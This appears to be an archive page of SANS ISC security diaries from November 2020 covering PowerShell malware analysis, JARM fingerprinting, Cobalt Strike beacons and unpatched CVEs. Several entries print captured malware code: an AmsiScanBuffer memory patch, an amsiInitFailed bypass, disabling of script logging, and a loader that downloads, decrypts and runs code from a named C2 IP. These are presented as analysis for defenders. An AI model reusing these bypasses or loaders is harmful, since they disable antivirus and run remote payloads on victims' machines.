Diaries

Published: 2020-11-30

Decrypting PowerShell Payloads (video)

PowerShell scripts are often used to deliver malicious payloads: shellcode, another PowerShell script, reflective DLL, …

And you've probably encountered malicious scripts with an encrypted payload, for example encrypted with AES.

In a video I created, I show how to decrypt a typical encrypted payload with my tools base64dump and translate.

The command I use in the video is:

base64dump.py -n 20 -s 2 -d example.ps1.vir | translate.py -e "keybase64 = b'zDYGjpptXWqJootb7OdcR/JaGJswRA3EywKlPTHHZMQ='" -s decrypt.py -f "Decrypt" | translate.py -f "GzipD"

The content of decrypt.py I use in the video is here:


from Crypto.Cipher import AES
from Crypto.Util import Padding

def Decrypt(data):
    iv = data[0:16]
    ciphertext = data[16:]
    key = binascii.a2b_base64(keybase64)
    oAES = AES.new(key, AES.MODE_CBC, iv)
    return Padding.unpad(oAES.decrypt(ciphertext), 16)

This small script uses crypto functions from pycryptodome.

If you want to try for yourself, I shared the example PowerShell script on pastebin.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2020-11-29

Quick Tip: Using JARM With a SOCKS Proxy

Rik talked about JARM yesterday "Threat Hunting with JARM".

JARM is a tool to fingerprint TLS servers.

I made some changes to the JARM code to support a SOCKS proxy.

Now I can use JARM over Tor, for example:

You will miss information when you use a SOCKS proxy: the resolved IP, in case you use a domain name.

And on Linux, there are other methods to achieve this.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

1 Comments

Published: 2020-11-27

Threat Hunting with JARM

Recently I have been testing a new tool created by the people at Salesforce.  The tool is called JARM and what it does is query TLS instances (HTTPS servers and services) to create a fingerprint of their TLS configuration.  Much like analyzing the nuances of network traffic can be used to fingerprint the operating system and version of a server, JARM fingerprints TLS instances  to create a fingerprint which can be used to compare one TLS service to another.


The JARM repository on github provides two executable files.  The first jarm.py can be used to create a fingerprint for any TLS enabled service. The second jarm.sh is used to automate a JARM scan across a range of IPs.  For example the fingerprint for isc.sans.edu can be generated as follows:

$ python3 jarm.py isc.sans.edu
Domain: isc.sans.edu
Resolved IP: 45.60.103.34
JARM: 29d29d00029d29d00041d41d0000005d86ccb1a0567e012264097a0315d7a7

JARM can be used for a number of purposes.  As the Salesforce blog post says:

“JARM fingerprints can be used to:

  • Quickly verify that all servers in a group have the same TLS configuration.
  • Group disparate servers on the internet by configuration, identifying that a server may belong to Google vs. Salesforce vs. Apple, for example.
  • Identify default applications or infrastructure.
  • Identify malware command and control infrastructure and other malicious servers on the Internet.”

Shodan has integrated JARM and has generated JARM fingerprints for all TLS instances they have discovered and integrated them into a Shodan facet.  You can query Shodan’s JARM results from the Shodan web tool, or from any Linux with Python installed you can use the Shodan command line, or use the Shodan API, to query fingerprints

So how can this be used to detect malware deployments?  Well it turns out that the when malware deploys a TLS enabled service the fingerprints tend to stay the same across multiple deployments.  The JARM developers have given us the fingerprints for a number of common malware families.

Using this information you could create a script to run across your address space and compare the computed fingerprints to the known malware fingerprints or you could just use Shodan to do this comparison.  In this example below I am using the Shodan command line to query the JARM results for AS209 and comparing the result to the fingerprint for Cobalt Strike (a red team tool often dropped by emotet and other malware onto compromised servers).

$ shodan search asn:as209 ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

184.99.37.107  443       HTTP/1.1 403 Forbidden\r\nContent-Length: 310\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
71.37.172.120  443   71-37-172-120.lsv2.qwest.net  HTTP/1.1 403 Forbidden\r\nContent-Length: 316\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
71.37.172.123  443   71-37-172-123.lsv2.qwest.net  HTTP/1.1 403 Forbidden\r\nContent-Length: 316\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
97.122.203.173 443   97-122-203-173.hlrn.qwest.net  HTTP/1.1 403 Forbidden\r\nContent-Length: 303\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
174.16.120.233 443   174-16-120-233.hlrn.qwest.net  HTTP/1.1 403 Forbidden\r\nContent-Length: 309\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
65.144.105.2  443   mail.strataproducts.com HTTP/1.1 403 Forbidden\r\nContent-Length: 314\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
65.144.105.6  443       HTTP/1.1 200 OK\r\nCache-Control: private\r\nContent-Type: text/html; charset=utf-8\r\nServer: Microsoft-IIS/7.5\r\nSet-Cookie: ASP.NET_SessionId=vpxjjrrzezdnobjeacvfff45; path=/; HttpOnly\r\nX-AspNet-Version: 2.0.50727\r\nX-Powered-By: ASP.NET\r\nDate: Sun, 22 Nov 2020 02:31:11 GMT\r\nContent-Length: 47074\r\n\r\n
65.144.7.67   443       HTTP/1.1 403 Forbidden\r\nContent-Length: 352\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n
71.222.37.196  443   71-222-37-196.lsv2.qwest.net  HTTP/1.1 403 Forbidden\r\nContent-Length: 316\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n

I have to believe there have to be some false positives in the results, but it gives you a  place to start.

For more information on JARM, please check out the Salesforce JARM blog post 

For downloading, JARM can be found on github.
 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

2 Comments

Published: 2020-11-25

Live Patching Windows API Calls Using PowerShell

It's amazing how attackers can be imaginative when it comes to protecting themselves and preventing security controls to do their job. Here is an example of a malicious PowerShell script that patches live a DLL function to change the way it works (read: "to make it NOT work"). This is not a new technique but it has been a while that I did not find it so, it deserves a quick review.

The original script has been spotted on Virustotal (SHA256:b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54)[1] with a nice low score (3/60). The original file is interesting because it's a "bat" command line script and a PowerShell script at the same time:

# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -noProfile -ExecutionPolicy bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B

The environment variable '%~f0' will expand to the complete path of the script (ex: "C:\Temp\malicious.bat"). It is passed to PowerShell which will ignore the first line (starting with the '#'). The script will be deleted once PowerShell completed. Note, '%~dp0' will expand to the drive letter and path of that batch file.

The script itself is obfuscated inside a Base64-encoded string. First, it's a backdoor that tries to execute commands returned by the contacted C2 server. The HTTP connection is built in a specific way to talk to the server:

It requires a specific User-Agent:

$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$eBdd.HEadeRS.ADd('User-Agent',$u);

It tries to connect through the proxy configured in the system:

$EBdD.Proxy=[SYsTeM.NEt.WEBREqUeSt]::DeFAULtWEbProxY;
$ebdd.ProxY.CreDeNTIALS = [SyStEM.Net.CredeNTiAlCAche]::DeFauLTNETWoRKCreDeNtIalS;

A cookie is required:

$eBdd.HeAdErs.Add("Cookie","session=i9jI6+TRpy75U2v68M56EtGXOWE=");

The C2 address is obfuscated:

$ser=$([TEXT.EncoDing]::UNicODe.GEtSTrInG([ConvERT]::FRoMBAsE64STriNG('aAB0AHQAcAA6AC8ALwAzAC4AMQAyADgALgAxADAANwAuADcANAA6ADEANQA0ADMAMAA=')));
$t='/admin/get.php';
$daTa=$eBdD.DoWnLoadDaTA($seR+$T);

The C2 server is hxxp://%%ip:3.128.107.74%%:15430/admin/get.php.

Data received by the C2 are decrypted and executed via Invoke-Command (so, we expect PowerShell code)

$K=[SysteM.TExt.EncOdiNG]::ASCII.GeTBytEs('827ccb0eea8a706c4c34a16891f84e7b');
$R={
    $D,$K=$ARgS;$S=0..255;0..255|%{
        $J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;
        $H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];
        $_-bXOr$S[($S[$I]+$S[$H])%256]
    }
};

$Iv=$daTa[0..3];
$DAtA=$data[4..$DAtA.lenGtH];
-JoiN[CHAr[]](& $R $DatA ($IV+$K))|IEX

But the most interesting part of the script was the technique implemented to prevent the PowerShell script to be blocked by the antivirus.

First, it tries to disable ScriptBlockLogging[2]:

$vaL=[CollECtionS.GEnErIC.DiCTIONarY[StrING,SysteM.ObjEct]]::nEW();
$Val.AdD('EnableScriptB'+'lockLogging',0);
$VAl.AdD('EnableScriptBlockInvocationLogging',0);
$b399['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL

Then, it tries to disable the API call AmsiScanBuffer() provided by amsi.dll. How? By patching the function and overwriting the beginning of the code with a simple return code to disable the function:

$MethodDefinition = "
  [DllImport(`"kernel32`")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  [DllImport(`"kernel32`")]public static extern IntPtr GetModuleHandle(string lpModuleName);
  [DllImport(`"kernel32`")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$ABSD = 'AmsiS'+'canBuffer';
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6); 

Step 1: the script tries to locate the address of the function AmsiScanBuffer() in memory. To achieve this, it used the classic combination of GetModuleHandle() and GetProcAddress(). 

Step 2: the memory protection (where starts the function) is changed to allow writing executable code (the key flag is 0x40 or 'PAGE_EXECUTE_READWRITE')

Step 3: the memory location is overwritten with a buffer of six bytes: 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3.

This suite of bytes is the following code:

0x0000000000000000:  B8 57 00 07 80    mov eax, 0x80070057
0x0000000000000005:  C3                ret 

The value 0x80070057 is placed into the EAX register (which is used to hold the return value of the function). This value is 'E_INVALIDARG'. Then, the function immediately returns to the caller with the 'ret' instruction. This technique implements the bypass of the antivirus scan...

As I said, this technique is not new and has already been discussed previously (around 2019) but it's interesting to see how attackers re-use always and always good old techniques.

The fun part of the backdoor? I was not able to connect to it. The C2 seems to be an SSH server. Or did I miss something?

$ curl -v -A 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -H 'Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=' hxxp://3[.]128[.]107[.]74:15430/admin/get.php
*   Trying 3[.]128[.]107[.]74...
* TCP_NODELAY set
* Connected to 3[.]128[.]107[.]74 (3[.]128[.]107[.]74) port 15430 (#0)
> GET /admin/get.php HTTP/1.1
> Host: 3[.]128[.]107[.]74:15430
> User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
> Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1
> Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
> Accept-Language: en-us
> Connection: Keep-Alive
> Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=
>
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6
Protocol mismatch.
* Closing connection 0

[1] https://www.virustotal.com/gui/file/b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54/detection
[2] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1
[3] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-11-24

The special case of TCP RST

In TCP, packets with the "Reset" (RST or R) flag are sent to abort a connection. Probably the most common reason you are seeing this is that an SYN packet is sent to a closed port.

But RST packets may be sent in other cases to indicate that a connection should be closed. 

Lets first look at the reset in response to an SYN to a closed port:

IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto TCP (6), length 64)
    192.0.2.1.65007 > 192.0.2.2.81: Flags [S], seq 3972116176, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 447631150 ecr 0,sackOK,eol], length 0
16:24:59.928936 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    192.0.2.2.81 > 192.0.2.1.65007: Flags [R.], seq 0, ack 3972116177, win 0, length 0

Interesting here: The sequence number of the RST packet is 0. If you are looking at "unusually frequent" sequence numbers, "0" may show up at the top if you had a lot of failed connections that resulted in resets.

For an RST in response to an SYN, the sequence number is not really used. This is the first packet arriving from that source, and no further packets will be sent. Also, there is nothing to acknowledge. So the sequence number, if there is one, would be ignored and as a result, the few operating systems I tested (BSD, macOS, Linux, Windows 10) all use a sequence number of 0.

Could this be used to help with spoofing TCP Resets? Not really. As there is no initial sequence number yet, the RST sequence number wouldn't add anything.

A second issue that sometimes causes confusion: RST packets with payload

IP (tos 0x0, ttl 64, id 49111, offset 0, flags [DF], proto TCP (6), length 51)
    192.0.2.43.37444 > 10.0.28.20.25: Flags [R.], seq 1:12, ack 1, win 57352, length 11 [RST 220 mailgat]

The RST packet above has a payload length of 11 bytes. tcpdump is nice enough to display the payload with a "RST" prefix. The actual payload here was "220 mailgat". This behavior is typical for security devices (the trace above is a bit old, but I believe the RST was created by a Cisco IPS at the time). The idea is that the payload will provide more information about why the IPS (and in some cases firewall) sent the RST. Someone once told me that there is an RFC describing this behaviour, but I haven't found it yet (if you know: please comment ;-) ).

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

3 Comments

Published: 2020-11-23

Quick Tip: Cobalt Strike Beacon Analysis

Several of our handlers, like Brad and Renato, have written diary entries about malware infections that involved the red team framework Cobalt Strike.

In this diary entry, I'll show you how you can quickly extract the configuration of Cobalt Strike beacons mentioned in these 2 diary entries:

  1. Hancitor infection with Pony, Evil Pony, Ursnif, and Cobalt Strike
  2. Attackers Exploiting WebLogic Servers via CVE-2020-14882 to install Cobalt Strike

The configuration of a beacon is stored as an encoded table of type-length-value records. There are a couple of tools to analyze Cobalt Strike beacons, and I recently made my own tool 1768.py public.

The analysis of the sample that Brad mentioned in his diary entry (1) is simple:

In the screenshot above, you can see all the records of the decoded configuration of this sample. Records that you might be most interested in as an analyst, are the server record, the port record and the URL used with GET and POST (highlighted in red).

In Renato's diary entry (2), there are 2 artifacts to analyze.

There's the shellcode: Renato explained how to deal with the different layers of obfuscation of this shellcode.

Here I use different of my tools to deobfuscate the shellcode, and then pass it on to my 1768.py tool:

The payload downloaded by this shellcode is easy to analyze:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-11-22

Quick Tip: Extracting all VBA Code from a Maldoc - JSON Format

In diary entry "Quick Tip: Extracting all VBA Code from a Maldoc" I explain which options to use with oledump.py to extract all VBA code with a single command.

I promised that I would update oledump.py so that it can also produce JSON output with all VBA code.

This is now done with version 0.0.55. Existing option -j (--json) produces a JSON object with the content (base64 encoded) of each stream found inside the analyzed ole file. Combining option -j and -v produces a JSON object with the VBA code (base64 encoded) of each stream module found inside the analyzed ole file:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-11-20

Malicious Python Code and LittleSnitch Detection

We all run plenty of security tools on our endpoints. Their goal is to protect us by preventing infection (or trying to prevent it). But all those security tools are present on our devices like normal applications and are, therefore, easy to detect. Techniques to detect the presence of such security tools are multiple:

  • Detecting processes
  • Detecting windows (via the title)
  • Detecting configuration (files or registries)
  • Detecting injected DLL
  • Detecting debuggers
  • ...

Those techniques remain the same on every operating system (with some deviations of course - the registry is specific to Windows). I found a malicious script targeting macOS computers which implements a very basic check to detect the presence of LittleSnitch[1]. This tool is very popular amongst Apple users. It detects and reports all attempts to connect to the Internet by applications (egress traffic). For malware, it's important to stay stealthy and the presence of LittleSnitch could reveal an attempt to connect to a C2 server.

I spotted a simple Python script (SHA256:e5eb6d879eaca9b29946a9e5b611d092e0cce3a9821f2b9e0ba206ac5b375f8b) part of a red-team exercise, that tris to detect the presence of LittleSnitch:

cmd = "ps -ef | grep Little\ Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out = ps.stdout.read()
ps.stdout.close()
if re.search("Little Snitch", out):
   sys.exit()

Simple but effective!

[1] https://www.obdev.at/products/littlesnitch/index.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-11-19

PowerShell Dropper Delivering Formbook

Here is an interesting PowerShell dropper that is nicely obfuscated and has anti-VM detection. I spotted this file yesterday, called 'ad.jpg' (SHA256:b243e807ed22359a3940ab16539ba59910714f051034a8a155cc2aff28a85088). Of course, it's not a picture but a huge text file with Base64-encoded data. The VT score is therefore interesting: 0/61![1]. Once decoded, we discover the obfuscated PowerShell code. Let's review the techniques implemented by the attacker.

First, we see this at the very beginning of the script:

[Ref].Assembly.GetType('System.Management.Automation.'+$([CHAr]([Byte]0x41)+[ChAr]([bYTe]0x6D)+[Char](82+33)+\
[ChAr]([BYTe]0x69))+'Utils').GetField($([SyStEM.Net.WEBUTilItY]::htMLdeCode('amsiI \
nitFailed')),'NonPublic,Static').SetValue($null,$true);

Which is deobfuscated into:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils.amsiInitFailed)),'NonPublic,Static').SetValue($null,$true);

This piece of code comes from the PoSHBypass[2] project. It's a  proof of concept that allows an attacker to bypass PowerShell's Constrained Language Mode, AMSI and ScriptBlock, and Module logging.

Then, classic behaviour, we have an obfuscation of the Invoke-Expression cmdlet:

$ZER0HRFGEPXLGAJHCZYNIFQKWXNPYMID='MEX'.replace('M','I');
sal g $ZER0HRFGEPXLGAJHCZYNIFQKWXNPYMID;

This code will make 'g' an alias of Invoke-Expression. This is used immediately to decode and execute the following chunk of data:

[Byte[]]$IMAGE_NT_HEADERS=('@1F,@8B,@08,@00,@00,@00,@00,@00,@04,@00,@ED,@BD,@07,@60,@1C,@49,@96,@25,@26,@2F,@6D,@CA,@7B,@7F,@4A,
@F5,@4A,@D7,@E0,@74,@A1,@08,@80,@60,@13,@24,@D8,@90,@40,@10,@EC,@C1,@88,@CD,@E6,@92,@EC,@1D,@69,@47,
@23,@29,@AB,@2A,@81,@CA,@65,@56,@65,@5D,@66,@16,@40,@CC,@ED,@9D,@BC,@F7,@DE,@7B,@EF,@BD,@F7,@DE,@7B,
@EF,@BD,@F7,@BA,@3B,@9D,@4E,@27,@F7,@DF,@FF,@3F,@5C,@66,@64,@01,@6C,@F6,@CE,@4A,@DA,@C9,@9E,@21,@80,
...
@34,@6F,@8F,@7E,@8D,@1F,@23,@18,@C7,@CC,@FF,@18,@F3,@84,@A0,@83,@EB,@FB,@70,@EE,@D3,@BB,@BB,@0A,@6B,
@C7,@D2,@E4,@47,@CF,@FF,@B7,@9E,@5F,@E3,@E5,@AF,@43,@5C,@4C,@72,@77,@FF,@FF,@63,@78,@FF,@E8,@F9,@46,
@9E,@FF,@07,@78,@61,@2A,@8D,@00,@42,@04,@00,@00'.replace('@','0x'))| g;

The result string is passed to the following function:

function JAPFYAQPECMKYQNLCJXCOFSVYMER {
  [CmdletBinding()]
  Param ([bYte[]] $VDLXLPBUCEUOIHNKREBMWCWEFMERbyteARRay)
  Process {
    $WRSWRLDCDXEUUYFBJUWQZJSDGMERiNput = New-Object System.IO.MemoryStream( , $VDLXLPBUCEUOIHNKREBMWCWEFMERbyteARRay )
    $MZCUMHEBORHYCNKFFBEUSZDTZMERouTPut = New-Object System.IO.MemoryStream
    $PHQDSFCPEMOPKRYRNBGRTBCCIMERPAGE_EXECUTE_READWRITE = New-Object System.IO.Compression.GzipStream $WRSWRLDCDXEUUYFBJUWQZJSDGMERiNput, ([IO.Compression.CompressionMode]::Decompress)
    $EONFFJPUIRZMNCRBQZKESIVGGMIDCONTEXT_FULL = New-Object bYtE[](1024)
    while($tRUe){
      $BBYRATZNTGIAUBPDRVBIQAMRDMERREread = $PHQDSFCPEMOPKRYRNBGRTBCCIMERPAGE_EXECUTE_READWRITE.Read($EONFFJPUIRZMNCRBQZKESIVGGMIDCONTEXT_FULL, 0, 1024)
      if ($BBYRATZNTGIAUBPDRVBIQAMRDMERREread -lE 0){bReAk}
      $MZCUMHEBORHYCNKFFBEUSZDTZMERouTPut.Write($EONFFJPUIRZMNCRBQZKESIVGGMIDCONTEXT_FULL, 0, $BBYRATZNTGIAUBPDRVBIQAMRDMERREread)
    }
    [bYte[]] $QTXDBVKLTJMGOACBLEIVSJSQHMIDouT = $MZCUMHEBORHYCNKFFBEUSZDTZMERouTPut.ToArray()
  }
}

It will uncompress the buffer and generate a DLL (SHA256:A7D74BE8AF1645FBECFC2FE915E0B77B287CE09AD3A7E220D20794475B0401F9) which is not present on VT at this time. This DLL is injected in the PowerShell process:

[bYte[]]$decompressedByteArray = JAPFYAQPECMKYQNLCJXCOFSVYMER $IMAGE_NT_HEADERS
$t=[System.Reflection.Assembly]::Load($decompressedByteArray)

Then, another chunk of data is decoded:

[Byte[]]$HNAUVVBGYKNXXMOTZHSTOHTKRMID=('@4D,@5A,@45,@52,@E8,@00,@00,@00,@00,@58,@83,@E8,@09,@8B,@C8,@83,@C0,@3C,@8B,@00,@03,@C1,@83,@C0,@28,@03,@08,
@FF,@E1,@90,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,
@00,@00,@00,@00,@00,@00,@C0,@00,@00,@00,@0E,@1F,@BA,@0E,@00,@B4,@09,@CD,@21,@B8,@01,@4C,@CD,@21,@54,@68,@69,
@73,@20,@70,@72,@6F,@67,@72,@61,@6D,@20,@63,@61,@6E,@6E,@6F,@74,@20,@62,@65,@20,@72,@75,@6E,@20,@69,@6E,@20,
...
0,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00,@00'.replace('@','0x'))| g

This is the main payload dropped by the Powershell (SHA256:A07AE0F8E715E243C514B8DA6FD83C5955E1C8EDE5EEBF4D6494EE97443AAD95). Same here, it's not available on VT yet.

The payload is executed via the following code:

[QuotingUtilities]::SplitUnquoted('control.exe',$HNAUVVBGYKNXXMOTZHSTOHTKRMID)

This function is provided by the injected DLL:

This function implements an interesting anti-VM check that, if running in a virtualized environment, stop the Powershell and prevent the payload to be executed:

Note that I don't know why a popup message is displayed. The goal of malware is to operate below the radar... (maybe the code is still being debugged by the attacker?)

Here is how the VMware environment is detected:

(Maybe there are other tests performed but I did not investigate further)

The DLL is also obfuscated with a tool that I never met before:

If you have more information about this "Zephyrus Protector" tool, please share with me!

The Formbook sample tries to contact the following hosts:

www[.]zenhalklailiskiler[.]online 
www[.]insights-for-instagram[.]com 
www[.]ketaminetherapycalgary.com 
www[.]forwardslashdevelopment[.]com 
www[.]arikmertelsanatlari[.]xyz
www[.]bklynphotography[.]com 
www[.]experiencewinneroftheyear[.]com 
www[.]kansas-chiefs[.]com 
www[.]vrefirsttime[.]com 
www[.]issahclothing[.]com 
www[.]denver-nuggets[.]club 
www[.]wwwhookeze[.]com
www[.]moxieadvice[.]com 
www[.]gangtayvietnam[.]com 
www[.]cosmosguards[.]com 
www[.]magentx2[.]info

[1] https://www.virustotal.com/gui/file/b243e807ed22359a3940ab16539ba59910714f051034a8a155cc2aff28a85088/detection
[2] https://github.com/davehardy20/PoSHBypass

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-11-18

When Security Controls Lead to Security Issues

The job of security professionals is to protect customers' assets and, even more, today, customers' data. The security landscape is full of solutions that help to improve security by detecting (and blocking) threats knocking on the organizations' doors. Sometimes, such solutions have side effects that go to the opposite direction and make customers more vulnerable to attacks.

Here is a perfect example of security control that could lead to a critical issue. I was looking for data in VT and launched a retro search based on a simple YARA rule (I was just looking for a simple string). As usual, a retro search generates a lot of noise but I always have a look at all files, just in case... I found several emails (EML files) that contained juicy information (translated, the mail was issued from a German company):

Hello Thomas,

the mail (see below) unfortunately did not go through.
I uploaded two files to the Owncloud because they were too big.

These are stored in folder <redacted>

OwnCloud access data:

Guess what? The next three lines of the body contained:

  • The ownCloud URL
  •  The login and password!

Note: the URL was valid but credentials were of course NOT tested (never try this!)

I found several emails from this company and EML files were submitted always from the same API ID and from Germany. This security control was probably implemented to submit automatically suspicious emails to VT. 

When a customer asks me to have a look at their security posture, I always search for leaked data (from leaked databases, from VT, etc). And, most of the time, it works! It's so easy to find valid credentials to connect to an OWA, VPN, or services like, here, an ownCloud instance.

Based on the example above, some good old reminders:

  • From a user perspective:
    • Do NOT share credentials via emails. Don't forget that emails are relayed through many relays to reach your contact and SMTP is a clear text protocol by default and NOT reliable (your email can be delayed and stored on a server while retrying to deliver it).
    • Encrypt your emails.
    • Share passwords via alternative communication channels (pick up your phone and talk to people).
  • From a sysadmin or security perspective:
    • When implementing security controls, think about the type of data that will be processed (and stored!).
    • Anonymize and sanitize data before sending them to a cloud service.
    • Don't rely only on login/password, implement 2FA when possible! (in this example, ownCloud does)

Stay safe!

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2020-11-16

Heartbleed, BlueKeep and other vulnerabilities that didn't disappear just because we don't talk about them anymore

Since new critical vulnerabilities are discovered and published nearly every day, it is no wonder that we (i.e. security professionals and security-oriented media) tend to focus on these and don’t return to the ones that came before too often. Unless there is a massive exploitation campaign, that is. This doesn’t present any problems for organizations, which manage to patch vulnerabilities on time, but for many others the “historical” vulnerabilities, which are not talked about anymore, still pose clear and present danger.

In my last post, we looked at the number of machines connected to the internet, which are still affected by CVE-2020-0796, also known as SMBGhost. Since the number was surprisingly high[1], it got me thinking about how high the numbers might be for other (and older) high-impact vulnerabilities.

Since I don’t have access to any tool, which would come even close to the ability of the Carna botnet to scan the entire internet in reasonable time[2], I’ve decided to go with Shodan once again and ask it for the numbers of machines vulnerable to specific CVEs.

To this end, I’ve put together a list of about a hundred high-impact vulnerabilities, which were discovered before 2020 and which might potentially be scanned for by Shodan. The list was mostly made up of relevant vulnerabilities from different “Top CVEs” lists[3,4] and vulnerabilities I found to be interesting in my previous searches. The list was therefore far from comprehensive, but I do believe the results for the top 10 most common vulnerabilities it included are worth a look.

CVE Number of affected systems CVSSv3
CVE-2019-0211 3357835 7.8
CVE-2019-12525 1219716 9.8
CVE-2015-1635 374113 N/A, CVSSv2 10.0
CVE-2019-13917 268409 9.8
CVE-2019-10149 264655 9.8
CVE-2019-0708 246869 9.8
CVE-2014-0160 204878 7.5
CVE-2019-9787 83951 8.8
CVE-2019-12815 80434 9.8
CVE-2018-6789 76344 9.8

The numbers reported by Shodan were generally higher than I would have expected. Nevertheless, although it is true that Shodan results aren’t necessarily fully up to date or completely accurate, I’ve tried to validate a small subset of the detections manually with relevant Nmap scripts (those, which were not too intrusive) and most of my findings agreed with the results Shodan provided.

Although all the CVEs listed in the table are certainly noteworthy, the ones which I was particularly surprised to see, given their prior media coverage, were:

  • CVE-2015-1635, a RCE in IIS web server, for which it – quite fortunately – appears that no one published a full exploit so far – all the available PoCs seem to lead “only” to information leakage and DoS[5],
  • CVE-2019-10149, an RCE in Exim MTA, which was mentioned in – among other places – an NSA advisory warning against its active exploitation by a Russian APT group earlier this year[6], and perhaps most surprisingly
  • CVE-2019-0708, dubbed BlueKeep, along with a historical favorite
  • CVE-2014-0160, also known as Heartbleed.

Especially the results for the last two vulnerabilities show that even very well-known vulnerabilities are sometimes left unpatched for years on end.

Unfortunately, I don’t have data for the historical development of the number of machines affected by Hearbleed, but I can offer you a look at how the numbers changed for BlueKeep over the last 12 months.

Although, as the chart shows, there has been a significant absolute as well as relative decline in the number of BlueKeep-affected machines accessible from the internet, there still appear to be over 240 000 of them. Given how dangerous and well known BlueKeep is, it rather begs the question of how many other, less well-known critical vulnerabilities are still left unpatched on a similar number of systems.

And since any of these might potentially come back to haunt us one day, this would seem to be a question worth asking…

[1] https://isc.sans.edu/diary/26732
[2] https://en.wikipedia.org/wiki/Carna_botnet
[3] https://www.cvebase.com/cve/pocs
[4] https://us-cert.cisa.gov/ncas/alerts/aa20-133a
[5] https://www.trendmicro.com/en_us/research/15/e/iis-at-risk-an-in-depth-look-into-cve-2015-1635.html
[6] https://us-cert.cisa.gov/ncas/current-activity/2020/05/28/nsa-releases-advisory-sandworm-actors-exploiting-exim

-----------
Jan Kopriva
@jk0pr
Alef Nula

2 Comments

Published: 2020-11-15

oledump's ! Indicator

In diary entry "AV Cleaned Maldoc" I analyze a malicious document with VBA code that has been removed by anti-virus.

As the VBA code has been wiped, no M or m indicators are present:

